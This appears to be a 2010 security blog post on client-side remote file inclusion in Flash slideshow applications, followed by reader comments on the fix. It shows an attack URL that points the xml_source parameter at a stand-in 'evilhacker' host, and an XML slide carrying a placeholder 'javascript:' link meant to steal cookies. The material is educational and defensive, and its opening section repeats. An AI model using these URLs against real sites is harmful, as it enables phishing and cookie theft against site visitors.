March 8, 2010 - 21:15 UTC - Tags: rfi flash xss phishing spam
A lot of flash and flex applications use an XML-file for configuration. The XML-file sets up which texts and images to show. However if we don't pay attention, this flash application can be abused for phishing or spam, because the attacker can specify which file to use in the flash - a client-side RFI (Remote File Inclusion). Luckily this is not as dangerous as server-side RFI, but it's still something you want to avoid.
Disclaimer
Now before I continue, I'd like to point that I don't write this in order to make fun of the developer of the apps in question. I write this for educational purposes only.
Example of the problem
Consider this real slideshow application. This application takes an XML file on the format:
In this example, this can allow an attacker to show images of his own choosing, which could be spam, adult material or something that could otherwise hurt the target site's reputation. The attacker can send this url to phishing victims, and because the url starts with the target host's hostname, victims may be more likely to open the url. To make manners worse, it could be possible for the attacker to supply javascript behind links:
How do I fix it?
To fix this problem you need to check the url of the config file before you include it. Typically you would check that the url is relative (starts with a "/") or is pointing to a host that you trust.
Disclaimer
Now before I continue, I'd like to point that I don't write this in order to make fun of the developer of the apps in question. I write this for educational purposes only.
Example of the problem
Consider this real slideshow application. This application takes an XML file on the format:
<slideshow>
<slide>
<image url='someimage.jpg' duration='2' />
</slide>
<slide>
<image url='someimage2.jpg' duration='2' />
</slide>
</slideshow>This configuration file can be loaded via the parameter xml_source like this:<EMBED src="slideshow.swf?xml_source=sample.xml" quality="high" bgcolor="#000000" WIDTH="320"
HEIGHT="240" NAME="slideshow" allowScriptAccess="sameDomain" swLiveConnect="true"
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>An attacker can abuse this functionality by crafting a url like this:http://hostname/and/path/to/slideshow.swf?xml_source=http://evilhacker/attack.xmlIn this example, this can allow an attacker to show images of his own choosing, which could be spam, adult material or something that could otherwise hurt the target site's reputation. The attacker can send this url to phishing victims, and because the url starts with the target host's hostname, victims may be more likely to open the url. To make manners worse, it could be possible for the attacker to supply javascript behind links:
<slide>
<image url="/slideshow/images/plant0.jpg" />
<draw_text>
<text x="225" y="185" width="70" height="30" align="center" size="12" color="FFFFFF">Javascript</text>
</draw_text>
<link>
<area x="225" y="180" width="70" height="30" url="javascript:...evil javascript..." />
</link>
</slide> This could allow him to steal cookies or perform other javascript related attacks.How do I fix it?
To fix this problem you need to check the url of the config file before you include it. Typically you would check that the url is relative (starts with a "/") or is pointing to a host that you trust.
June 15, 2010 - 14:09 UTC
AJ
AJ
I am a bit confused, the attacker can only change the URL on his own machine instead of any other person, isn't that the case?
If its any other domain, the SWF would also be required to load a cross-domain file?
If its any other domain, the SWF would also be required to load a cross-domain file?
June 16, 2010 - 07:25 UTC
@AJ: Yes, the attacker can only change the url on his own machine, so to attack a client, he would have to send that url to the user. This could be done in many ways - phishing email, shortened url on twitter, IM etc.
If the attacker includes a file from his own server, he can easily also supply a crossdomain.xml on that server. So in the above example the crossdomain policy would be http://evilhacker/crossdomain.xml
If the attacker includes a file from his own server, he can easily also supply a crossdomain.xml on that server. So in the above example the crossdomain policy would be http://evilhacker/crossdomain.xml
June 16, 2010 - 11:01 UTC
Ah ok, makes some sense now with respect to phishing!
The only way to effectively fix it will be to have a list of trusted domains, which again will have to be defined in some config file or SWF itself, which again can be modified in similar ways...
How would relative(starting with /) help?
The only way to effectively fix it will be to have a list of trusted domains, which again will have to be defined in some config file or SWF itself, which again can be modified in similar ways...
How would relative(starting with /) help?
June 16, 2010 - 15:36 UTC
Requiring that the all urls of configs etc. start with "/" would be my first choice. Next, if I need to be able to load them from a seperate server, I would - as you suggest - white list the domains (sort of an outbound crossdomain policy).
So the solution is very similar to what's described here: http://erlend.oftedal.no/blog/?blogid=99
So the solution is very similar to what's described here: http://erlend.oftedal.no/blog/?blogid=99
About Erlend
Security guy with some thoughts on secure development.
Tag cloud
Categories
Blogroll
